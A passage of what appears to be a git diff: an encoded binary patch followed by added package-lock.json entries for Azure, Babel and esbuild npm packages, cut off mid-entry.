zCb4nM4Madesh|@1TDSY5eEu01;`e`kMP}@KFe>E&iN=Ls$pDdsrFbEN6`|tLfK)m+ zld|Yh7hcNu{^TOmC6d@WI);J>oS4VOxNJ&c9Qt5WI}Y6Ya1a@-o7M*3FN0$$QB@7G zsj~jD&5N`uI^ftz{%Lp!5mZECv4e^tj8p_9eo*B&ssLS#$10-gJ}8M%U1p8_)I=ba zc-JQ@G_vu&U;|MwiM8rxYItPz2e{;fgXPBCuf*8$_c^qXbjx@)UK*sTRxDVdRzM+` zNT7(DKZiktLaBt7=`--^o6Do4PW=I;a*cZLUB5r;=wpw&?{niZ|0~xue|UC&SJS-v zq;Z_K6gTy^ZGL0oIp6#C|0mhH{HYsFGR=tt=il=2maW|rR^E1y-C>t$&RDUcUZpIf z!`2-eEkU91D-pU!%2?k~z>d>0_|jq9q1;nKWhjJ~bfK_FHs@e6Y3*4zObgyzFMoJp z6&ETZ-33d#Ow7~Vxl_?Lu^xNQoq^U#N8uw{L>{_V{V@Y149+TPWV zowje})g47_9Vj4`U@ep^&1lNt)WhfC%u^0UB0>0g*?O(Z*I-@eAf=kd;S1k59#Of7 zMAA_y4nc(>Vks(@HIj%DsT3p(;TH=UlnYc_U!%#^W?lXI+r0Bh*CDckOu|LaSRc}; zXl3(a7*>#R!BTZWK%t@{;xj}*N+M7aQG!O0paNCa?Cf3Xw4=U{2VPsL6TYxFq*4MK zLqNRjFO&$55-by-1ml`24Iz|msKdIKUzNt~X41;{U!(#ER-vRq#bO|}=``m(7uUV| zI&L}bOs$(T4KP9unK-6as_0r3sa1)GOeO%#@s6T+e22g)MMMHy)g34x0t8ltY}`>r z6;_lO91GrKsqHpJyrc0mkgAIHc+?Gms=$E(L}7$feItg~u0~1*aqAC`(qj+XjYMG+ zxf=EZrF1T*ZoUpSjL7<-3OH5{#nDG({Xj)YYp2h^8}BXG^L}uhu3fvO9Ety5-dgvW z7v{Zxc*s5DdnbheaML}1;Vrr8{oJy1&WXmPZo}IbU3unVxBtI=?NfLCl8!p-N1Di` zI@6&xbiHz>8*J@mC!a#Ozl`TzUmc~=Nhg_hFf>%cK*7iEGaIn`PW9^MJn{!iutM+> zfSb?g>u+|^#do}qBX(<*(@y>ZO_|XEs-H-dsDqYNZK{^k4-w zk{Wppq?T2gR4YC>ERpAJQW0hivqBBcibOL55luJ-+V{j*q-~y~FGZ8y3tc_y2MQv3CuN3DODaG;ILSjiB2t@)RB8J-79a7E0 zi$(S}hLVUtk%h8=grP3Lmek9nsW>!iX%U|2Sx{ zW$&l0mq^z~m8G@IAKvrg@1OCX4#N-M_OrUEFdAO^y9YNkN5f6;{NX!6$y7Y)FXQ${ z-q!b4kI?1w_qGiwHUIw7YSgA(eE-CqP}i8iaG$Tky+umZ`cxGoh=d}AsxWMzoXL?haTj^`mp`KKUiTbw zJM2tOE~jLDVlZq>5o#DjOb#i#E@_}T($`CzaIwSQ^RUy*9dN*2b9B$iGj!5+lllIa z|Bj{WJ8{DqC&ME})^%~$n;+of)6d1Yw(&YzDpFLcz<4gADAIE8u$r`?9lx*-optVM zGGp>YUbtcn`bI{<#?gkR7L>{n{q^7fgk^8NskwYT#Y$R`iV9$eY@k+%i3J=fENfi6 zLJ$)0r#f2!MGEW0IhWf6LpDBxf>hxql1O+-3~XABs5}O>A}}tI6(zEiVAZQmI)LY& zdWepjG+sMaucHlXx2WehNTgD1jVHAYt&~kCFmB!#AdRyyrDeR|+h0ih{l(|LlFp`I z>)70>$DVMa{!13-w(Ca^E%~$AY1flV1SDU&@91A#a>i2++wE?!e0u))4_TD4dxP|L(-2(j8Qq+BkEr5|;nXQ+r=%F(Hl8c>tXZUg?* z5Q&#?46zGTM=wzjn4!eV5~1Wr6omo&N(ISu8qL!tBQop`AHK{{A2}|E?lL5ee+|w?WI*(4g~r?e>ZyJG5hPSf4-B1 zLQv5sVTG*>srUiidegnqluA%*W1VJdvgEmGjeMUAg)s?&3OvuDbX_fiP-Vs1O<1yM z882A6kw&dZp<*eN6mcelhN;^LCljQRR9DuDLP4Pga+VF@*N=`(E2TA`=cksh zMss})I=Z%E`|T!Sptnyqb`8+Md(MH&uFn7AmGsfN4H#Uu8kwd%$VovNFs^|OLKOP? z@#n=0^oa3|)HyPObi&bGGKG%^2GE$R!DtZ5hilvUi!*1?eg_|czRnGjZym>B$yX&1 zON<5CC<5E+=w2mN6aoWPz>wHTV?&u##qAOYHdptMT4oh6C5d#fV?DfZ6wlxMZ93qv zJrE6-;q5(NDA-D%B*e|DY7w8j`ilPPkr&K^PrR(P>5#rWcRPIRn_rRobebkkogy{6 z9fVR?p$RR!(O3}TtZ$!i!(I13a>e71K19bIf0F*ocFg~H-Fe5&>5Vn}yc*2iYhHS5 zU+>iJcTPLwlp|kT{K}u{_rJM&c;zRb;E@CgF>_Y$qv{*+vX6VKkr5(%OyP z^4bS$`K@IgIQ_W2^#`}!OIMtC9=@^vuDai`CzFuXU~~i)E_tbxnoORI$*aPJz##@J z5R!$b0$(ZU;;>YazLg)*8!x>=H~--;*wjC!B`_=?99a{QtJ${gsd3Uo6i3JKY1|_S zK@i1`EMv6T-HT{w07w4lQe1z{Z| zA|hf3F)~WZWDu0gG}f^Rj_Yc=u7S#9!x9!o7-|4SN-iloNmAEPs-_WcE(?jI%4I58 z2|@}9LnS4G+880Su}B~mBg7*-fk@SYC8k8S8KGeS8wwIB4?|mfWV|yJ4@&%H{C6b6PoeV^B?G# z2;FMdUBEM!D+(ZI^fj`tkQLz#a zYObejJQIcyI8HvM>TCvrjg5!uE9Yw&QN&TX0(Kqs9785yEax*M!(+;g)3~s8BjvU~ z!BTA-*N<;OB&sI%E|Y*%L`ey1jDZTMI6A0Np+Z_3R;RX}GT9oq`8+HEp)C#Myh%CpO2dtHd35>YFRFt)PE;Q9tYFGkTAYq^y8!tsj z*;s)v!4Xm+r8r7Nph~bY9U2b=MnMtOibW!uq2aCp^-7&s|LA#?c7P>|SLgxXJ_p5t z9%U~9z^FQg*?53)q?#;ixu(^r4EG@lEox@(Cv0kXuN`Mp7OmRM+fAF+zkb8I3ICmX z_?IZmyYIMz&OGNFz4ceW$o}BUs|(j&cF`&8*Dm|<-`-k2!|_Lg+s{3~ZOkY1$ZKEF zpPW3$eE&PU%hvWj5?^V}=3z}ZF6Hv9h7Ff17M;B%b&a9sh73l_BITk*KA&XIa}h}u zHjlNJY8)o5di)%6)bW@cGH?gU_;M{mVF_Y9c7BW&82ck zN`#~_)d*mN#(WAEN`5F%6&L_aCRPX;Qc~ii!@6-xuRi|fIzHx0({cPU`)Z=TQ8hP( z$Ocd=M4kaF!&Y4rB38+D2_PYj%}i=6UZOH5gATLAL;w!l|P0?^yry&V6zvEui-_@ftcGwsB`f=^=F8g4&$>Z8a{;w^} z|9IW@>l>W&F1jqb^5XM;c-#Gdz4pRy%*;-$gIsa%LcZvm)A6-kTQE=p7Om~oiS-%E zr(HDWlW+jMwW13hgCP#zdpmUvVW=2D!Q?uu#&yW0IQ`spV%;SX;u{tm6Vg>G3S?lQ z0z)j3g>hL$fkH8&VmSgaA>k1!f#|D?Hc`?5j%%>n4&zamPoosYagmN;M7FvCz3O`q ziRE9hV*?N?Fb<(Pm(;88d5xB|4`9tB=flm_An@`?=kg#otrCUA#*ugzy%U3r8uM`K z7%@Vyh83!Y4ad3tAc}%wd|VX^D~c%cDY7Ci6M3FTnaNXe+R0bx11~I>rs>nU9EFNd zSzV(H5V2Do9!ZF+9_eb5fMKHezsE`?G8i$I- z^QmR49MdInas!Fls+yLe9L2)KYEY-C7CZ@5O?7Q=+!0A&g@su;evGjJSmMlCjo~c? zIizagIIglP8ONYh3Uq3D3q5(oo|yKfFY3DsH)6u%HZ-@jstqD`(mC~gCF8I%8-zt) z%(w}}ULM~*^FsT?-`?lzuKTzBue$1rxBr;KBYmgVQ{ z)LNUKyIm93wr|n{cb!a~eWSW;ZLdzBRL2u)Q~L0m>nYc;4XkRxGs&7SH+HSP`mOIT3Ihr(D6j?;SQynDA*{%oU&@`4q0VfOLOUQDwH9Cy4cFV6ra2%Z^A2e$ z(sE8qHm0twfE5hQ5t8{AYoHL2@2IPZh;l;=A{7TB3rAj9lr0fv4^;HZwcn=upBci_ zcbo?{j3#1~dwWso>xXN57|T%Ne71ra9t=`P9m14wKIKF?mjfWSUL`YWmO-;r$Pltt zlXndbYtP^$>Yp{u7iRn=CrZ?}=OL;@Xg6BVr0yR1vVrZE2KLL})k9!b9`1Kx2piNRE#Y zFy(M6mAsuz#3BNCRU(k6B5@f8x{GkFRR8&h>*)3eeu71(yi-qj_Yr8q!UQpO4Nd~c zs1l2{)~J#rV~pe$9MF6TcXl1azSZ=tW`mPvi=v*g_D&w8AdaN9YdhD5c7a^WfBQQ> zp^sku51fWotxlUk3?t2U!a+_g==A&mG6pIFz^D+2vHMDwCzDbxtP?2I5Li_S442of zbGDA;cRW~to#y*3@0RoAG#|?MS`zAvYUXn#n)8Bk#;Y*${-f+ZvI3-DJrm`IEIABF zIhUlXfijc~5kw8xc24ukPsgCG#VGZR&7Cu6&f-Ov-TCXvnb&m3yy=$D_dK-8-~IIF`T;#r zbKCy2r+oURi~n}bFKwxucSi3~vnN&h%6#g#9(?emwO@O1%9QS+?rJzW_pg2rkFVQK zhfb~1-g`_!5HQ;9lropwwu#rgAd#vDOqxMCG(Z%FFnR3-S?W7RHD1XQ5lB<#iA2>J zOR3}yZy1R8%z1NLL6q;tBFJa=pkULPy(iO=d8vX7d4Z647V6xt1W=<22T9>fcd>x} zYOMeA#EbORe|--B^6U_nee@Wdaprra+4dM6ZgBtf>7wGvL!hZrmNb#J6I6P71gh-Y z32I~GnkJ4W?=c%)GiK-$4?KixZ(K|FJiO7r^?>OzIM_q?KC;0M)t#n31BGQOmAWJ@ zSCM(oPE^TQA`*}iR7ut5^N@;MPNO-?2Zjg&>6``fxyF1)+AX2ee4aA5AcWHH3Fh6q z7fHv9l5+B^bfmBh>QG#f7mA2X2W8ip#>~mJqT&gnscMpPntAo@Cd4I#%z-EaJc%01 zCMqC^i>UN;Yxlq;D)scDyT1>GYDLF~wo_z7l&fWQclT*nC?JRn6vsudYx{8Q1u8~G z6s)qBR3Ht0^3iAH$!A}Z#GCZYbLPDL+%ryl3 z>#V}ZR-XHzufEdnuUvUO&zpCi0Km0NuB5C!@~$Yrr| z46LQy=PwYm=F7J;E7-Y1v8p-{@oq#E0XDa9@3=K;#~4TROBe~95Y#&uHafMhM9*&; z!F`XvpfmfbG&EGh`KSFks^u~Sq*1v9??JiNQz2f_KVveKV{HBDbLz4-9eBvz`t^VO zmL7lA-Q4noa=CQSIuHIF6Z_^F{4N(=36AP}a^Qb#3-Z z8!q+gBqg7zKs+Z&8_aOl#vI3%4I7`+P7DP>AkDEI97h$clmgD$P2BalPXo@6-FesT z`+fLB9~$~i<;m-I$Gl|K9e?_rmy$clm{K9Iqx+ZLNjJ^^*ggM_im-gOx%i@U{k7L# zM;Bf=R{>!8lEvny&p&m=@K|Hs^5dqre*EmF(tSUCI-D`Nm!?hXBPNzGFswu}T5shm zVK-upIu$+<5TIG=iI@=^f{8<9sUS^Lv=fgEKryruM_>bn7*h5`#*z}}Rt3z|LAC*` ztkPM$d7q4+Ou_Nb~W^}#h@zs5jMu2uXyiRm6_5b|oPR=M{h3BPXF{rG&`dQIN7POr&O@An zILW;>*}m-LVBmqMfUr z8q%blQj#W;x(rDx;Vey6omYWymZmCj1aF{5m9@hJV%E;th5cRE$F1zG;K5`|%V0g(n_1&1Tc?x&J{Ao^{%3e|G+ykJWzD`SH3J ze@(#z~>E#zxw`_dzTYvSAgZ54~J=guhi<`t4 zhEPD&u9#YN2Q?W;i~wNgB)38|CLfbWuDygpy;o9FWLbWDvO$2Zq9xIsOB04h12t63 zGR-ofFf_0x*H7o=N<*E(hzNByolb$l2y#uPXMkC~R}e#;7gF*BF`}eg3N6}chMi*x z`bv>L`1DIu2^G)3G=gJ(e{Zc6Big>brZXn@>X#mPjQ{r&TRI{k21ro~3nT`TIH6*> zLT}xFwjW8Ach=gPdgXdELDo*7VIXXX;Z@u9HhJI9ZTXn;Az?#m152umxLiS@(xq{^ zMAhydEqC>x)LqtMp~`VFLJ$_v!BoPNLNh_;GKe?`8Dy!4rY&SXgJc3xmp=ml>V4kL z0C`e1Ad|zNnS_|wm_U^}Ef1SdfbE_(0RVWASV0F)f!)KFN-RXe#Znm*gldRjtR-Uu zRb#x%lr?Kob9~hA+`dD%tzWN08-8q)dV|Gf2nq#%*qh$`@CQF~;&DCIuA!4Z_~);w zP2_J)RrZ9BfA({=CcST*qo~ z@}Rv2KQp7~4^78+fi0B0N~4`JDWUBgT4_pN2;MtQQ;%vngkccWb_^FCr2>e0#MUY- zQ=`$uXrqnDMiLmq3WuqERdiPiNL`lSnKbvw0P+GKJB4!I_-E!$CkCp-q$EHGgW+=( zOK!-RyK1nK2RupQJ+_WCuyc5n-n{>G>g}%j=QnRP-~G`>JicKB&+Tj=h)7rr^^`*r z3MC`3m=L8>1*K9^3w_fOgt3?)Fy&GSHV7dQC4~l22|ber#ZX{j4N?(tNy3@W;GOec zJ=+}o052&?Ci&5m3C;@)v2rdtWzA2)c`Jx=y)hH1h;+pCP>_MZQwJcT44+qV!6d{m zq97wsHn5b_WMLvD%H1)+mJAdyCU=b`qp(EGp@hWbiJ{`DowVWGO&J~;rP{7-S|6`* zqh6Qs?L$ny0TQoSns){4@0R z$cNvmcFBr0Uo_v_+_-CNX5QZ$h0O>sJ9h0FKWbX>{WmN)`FpSSeJ-1S+2H5Ca{u4I zv~By*7re7SIQGCvZpx%S|Kd;sTegkb&XfcsbEYLunFy@hnLUt>Q#eDsAk8uq3L!!^ zFMnIy$v^KwqQ27;%~dMM35y^y2mtte^bmyH+9ZH2l zQKNDRCW?t!#ehk{WEfCpAu#8a4Aley8}*2zP>Bec2paVU)y8Yc+6jD? zV&6Tcd&8{aoMuToXx8h#J~E=~e!8BvzWAI*5$nj%PD-;@j-mw^unfZ}l&g)d-YHKX zc*wzP4?O&k=V#BD`Ea$Td-SyT|ApeWJbo+tn5#bd5B7T-N4~M88U67|!h5gWktBezTMwESgbV`) zo(0UT#OU^o)WLdhguLc8ZS zA%I#oM8<-RQDaFhht&27j4{M)HLxKmTMYuHAPT|OXu&(MfW;gVX zyZa`!Got9gL*6p{=0AMv+P(MLXX%{d|9k{*fS}*@4|wqnUwqGoq3nw_ADK2$&74lA+NSZMG9?wVZl*^i~Qe#vvt%gHwfM9+?+)&XcI<&`5*Y zB8Y9e`o+pj?okeUEN82i8~#H(oyZ`M|`NsUHR8uekSj|`(eHm1$-acb6U zuw>C{CFI&Ib&`-Me9k@pf7cMQJ;IV=dg7HVq=)%(4tx_V*1np-E&H>PUlfn_nwvbye0Ea7+bLH7P|V9(|_)DAOHAbCS!5gf=lG;W!IWQxvF!|I$e%F z=1(?m-7+-wUHiiAJ*gbM^RU_QqFC{ze?g<^aN>Ip$8#IDYs(R`%+s{NiU!8e#_c0` z6qr4&U%vO`2LAdFUsOpQ?Wi^3 zyg*bX^@2&oh>zNT8k%W}dcCcO?KK(QrI_w}e5*dbeuu;bLs6l^^^sj7D!ZE%$oEeG zYz#=1U^|cl;eZ%nRM4(+sA#vj5E-2@d4PIKApl^ow;O}KF?y?2R7w#_g$P}x0CA8L z>qr0#Q4de4#G0f|8%c)I@s^I(nl#=_xY=?tQm+)8Wt0E_4rED0K~!PqcpHVtQeSrg zebq90sxck5$21*pr~1_g9>pCGJni?H-cP5Wc-;1FTax8r@4%OW-pN}pzuAk;aCl|fH;cGt%$99cl z#hmxh&XF3z0H|84!}YfA8msX;j@%2~T@jvmW(%I%I*w|kfLb$C?>)tF=)Dko@mRNU zJ3X~=7+XgZG}9E;0R7bxoCk)+nkYp^2fB;Yb`EJG2#i4{4kHbRH~>K!)ksH3-9#H`6xO%g}zcZ?xR9scT=gYniw_s1X2{S<0Rs$Fq_ z6(=1_#bS&~*`Tjf)8+is{1ZJ{v5adtwFv3s>G=kuV}l z(pC|-=$sQ|A~Amx$J~{7M(c+gUl}!(cO$3>;9VB#IAZv587)g>DVr$t(M&K2=HGTNGE%@;LZC^L4gU|#~R2okDh7~UF8Cbg|LI!$iOftL`H)kKwzv|L%d_GfsNaS z^r!=7)7uZ3iMeaOp-*qE4UQZ93Z~Le^An+k65vNU#jN34^%qQG>>EAx||G(yf zk6%YCE}yG&ueipL7s>?o6H6{_zubzsOhtEnpC9sz5PJ+7Yp*G?>^16LZcxG274>&GKWn=AaI({=Ee&KSTAx zlr`p{W8TlzxIY;ht(S&2e&39)KVH+us4-+0o%7-BiW}}SSDk(QL}I?yar%-k9JisV zwe(=~s=$qgFk^SkWVQRJ#Hj$N{IA$V;)G6Z7$jqJ+PaW(+J9QYZw~%HYJzWJ5 zF`BKmmI@IRQvJ8c;Ogv2Xg4Y4sf*54za%4a4ROQHlkFB{Ol=%wp6kL&+61Ofyo$yoXV~c&*XEzS9G|O%7%#)D!E33RDpn5 zZIGMM0;IbdZC$^8nAYC=Xez4a1Aq38?;Li-@1M4C(b9DQaOqWxw)PC;!C$75UtY?1NYp=ZN@9D}pf1?wL z`8vdc)pt&QW=H+2FE;onE)=w4NJ0|v?aUXAyMKBa=f&_ZtXO!a0>JrKuB260&U;l4 z>)Zv)X!X^X=$Z58hnB5{W>YP*FIc!OJ9f={^r>~nzGJ^h)5N52Tl3j}+>;H^RSKd~ zU~$NvQ?hom5f-XF+!Zm(q4m8zRnu&>kYxY|25FL^R3?aL&76=phd43_Z9a;XCMkpi zh7{rO>T_^EPWq$d`m|O?P(}#ZjaiH@+a%VoXfncH3*Gg$f%mn3Y6XIt*h{74f2MnGwYy zm>6l6A+ScH&`@k6l;QyOb^~!3sS;tlx3NRh%qM4n1JD0leg>`kr%hs z&3B&o32)iiKq3qXwM`tg_uglZf8Es%w!P(u{Z>tzIqQX$S1qjn+Mn5tcUO~Q^)%l- zYat2)m9Si5vLOO;&ecY=v19Z7X8TW$TRHc`?TM=F8zj!V{);o$?M%Mh792^YkQvKd zPcuaR3OaOR~;42hBou~V<=J$-7`m1(}?F6Lrr;#O_+ zps|sW)3$DY>ByZsclD3gMtZhv+Yx1HW~TS|QXCpsHd-x*yzh+3ey|!R-erLeLx2r= z1rd{W6$?bxc;|$&EahgJ>W0lD_NA@cF;Z({=STzXECZloqS*IVyL4BRkTz@WAPgWr z)wJzATlG;~Y)zRqYyF@8#h)D?mMgUt3+Mg2q&xk>rRJ7vFZE|FTEoIjYZjdGU%t1U zv;2-3zGv#ncYRzQxh9^+lbi%50{(8gWRkz!P=YPb#5!dGL zOkyrvxt12s``9l%qMow+&SSR?C%2?z_mCW+Y$ykkYnC}m8chV`HchJ*F7Geef4up! zlV3LFJ!AfLbn}wAulW9FUb37&x$L5s%k!sQbT!|)e1QPK*;ib{0O5wKF8ZbA`xVz; zA7noB;sgsWzE}X@lr!cOdwct05ve;-jMvB6KqDK6>XqxIu#8pLT=@&%_p&RmHjA!Y z;OER=!Z$6M|0}l+&RTLa-8lbe0*~{q`4nG&@hSh|`<=Vu&KYUk`!3%#cu{4>etSga zqVesPMy-a=QU`$-(;oeLYtu7VtvdGuPXWLMtG>WtNLVuGczGkQ*Wc+K^FJ)NFJIfW zuI}HxX;*zs-Em(O1zLwR2Ax|6N{t6N&ks-5r*HVe-12V~dCC$zP`q-90^J@yaaB9%A4CkYt8blM-Xo zqyjC7k$tDY7`pMw(_itZck05`blc){Uon|ZxpW16YUu^9YXx!6RkzShSDgNepW&iq zw^0@p|F~W1pNq=CTeZ;FRV)?Z*$5LMAk)y$+B9ifTOSR4ef%Nax#9BF=e_Tn6Dw;X zF@LQwcf}pHnPvmyZTTO&+A^o5*qby6OccUcn|e|)IW>dRBniEwQ16@pkC)l4Z)Z*` z#o!Ai8-CBSyij0n+8t(wr!V{j-?I3eU-?*f>J@9~wyXZ`KTP;@KYlYw5cK(= zcu3op{?-TOw`;Lya=BC}Au0kv=)7kFGm%$sNGw@HL<(w*?l84oU(?3W)z{B??}mw0 zGm)6T@wjl+TDtc9Uwn5xd*z)yo9p_XcIH3i#2={?#2zRyF?pAX6>G!J^n?sYR|UXjrMgH{7(UZg*V)37oYv%my0x)UU!#SI`?=# zv3e#F^L3B2mw%3Kxagxlm%!&;`?;Q%YJAK{tNxy5J2@&-%z#ovWQwe0i4B5c2q=4E zkTMAqk%18qd4R~+FdsGJe5#U}tblxO>#9_Yirx~du|}B<8^bUr5)CY~f>I)KIq{Dz zV2lB*3Bbm_#U}OpjBCEQX5lG~iKjY|m~ZT)UAC5)h*n?x z(O29>&Rw>aGcT3QP?vfd$V7Xb=e|~&9N@iYuWp8<=oQs2A&Qx)#l|Gv#pnSAGF4wx zr3R@ohs*$ zt$E@pOvFS?#6(QQL`=j)OvFS?#6(QQMEq{X{{;=18.0.0" + } + }, + "node_modules/@azure/core-auth": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.10.1.tgz", + "integrity": "sha512-ykRMW8PjVAn+RS6ww5cmK9U2CyH9p4Q88YJwvUslfuMmN98w/2rdGRLPqJYObapBCdzBVeDgYWdJnFPFb7qzpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-util": "^1.13.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/core-client": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.10.1.tgz", + "integrity": "sha512-Nh5PhEOeY6PrnxNPsEHRr9eimxLwgLlpmguQaHKBinFYA/RU9+kOYVOQqOrTsCL+KSxrLLl1gD8Dk5BFW/7l/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-rest-pipeline": "^1.22.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/core-rest-pipeline": { + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.22.2.tgz", + "integrity": "sha512-MzHym+wOi8CLUlKCQu12de0nwcq9k9Kuv43j4Wa++CsCpJwps2eeBQwD2Bu8snkxTtDKDx4GwjuR9E8yC8LNrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/core-tracing": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.3.1.tgz", + "integrity": "sha512-9MWKevR7Hz8kNzzPLfX4EAtGM2b8mr50HPDBvio96bURP/9C+HjdH3sBlLSNNrvRAr5/k/svoH457gB5IKpmwQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/core-util": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.13.1.tgz", + "integrity": "sha512-XPArKLzsvl0Hf0CaGyKHUyVgF7oDnhKoP85Xv6M4StF/1AhfORhZudHtOyf2s+FcbuQ9dPRAjB8J2KvRRMUK2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/identity": { + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.13.0.tgz", + "integrity": "sha512-uWC0fssc+hs1TGGVkkghiaFkkS7NkTxfnCH+Hdg+yTehTpMcehpok4PgUKKdyCH+9ldu6FhiHRv84Ntqj1vVcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.9.0", + "@azure/core-client": "^1.9.2", + "@azure/core-rest-pipeline": "^1.17.0", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.11.0", + "@azure/logger": "^1.0.0", + "@azure/msal-browser": "^4.2.0", + "@azure/msal-node": "^3.5.0", + "open": "^10.1.0", + "tslib": "^2.2.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/logger": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.3.0.tgz", + "integrity": "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@azure/msal-browser": { + "version": "4.28.2", + "resolved": "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-4.28.2.tgz", + "integrity": "sha512-6vYUMvs6kJxJgxaCmHn/F8VxjLHNh7i9wzfwPGf8kyBJ8Gg2yvBXx175Uev8LdrD1F5C4o7qHa2CC4IrhGE1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/msal-common": "15.14.2" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-common": { + "version": "15.14.2", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-15.14.2.tgz", + "integrity": "sha512-n8RBJEUmd5QotoqbZfd+eGBkzuFI1KX6jw2b3WcpSyGjwmzoeI/Jb99opIBPHpb8y312NB+B6+FGi2ZVSR8yfA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-node": { + "version": "3.8.7", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-3.8.7.tgz", + "integrity": "sha512-a+Xnrae+uwLnlw68bplS1X4kuJ9F/7K6afuMFyRkNIskhjgDezl5Fhrx+1pmAlDmC0VaaAxjRQMp1OmcqVwkIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@azure/msal-common": "15.14.2", + "jsonwebtoken": "^9.0.0", + "uuid": "^8.3.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": 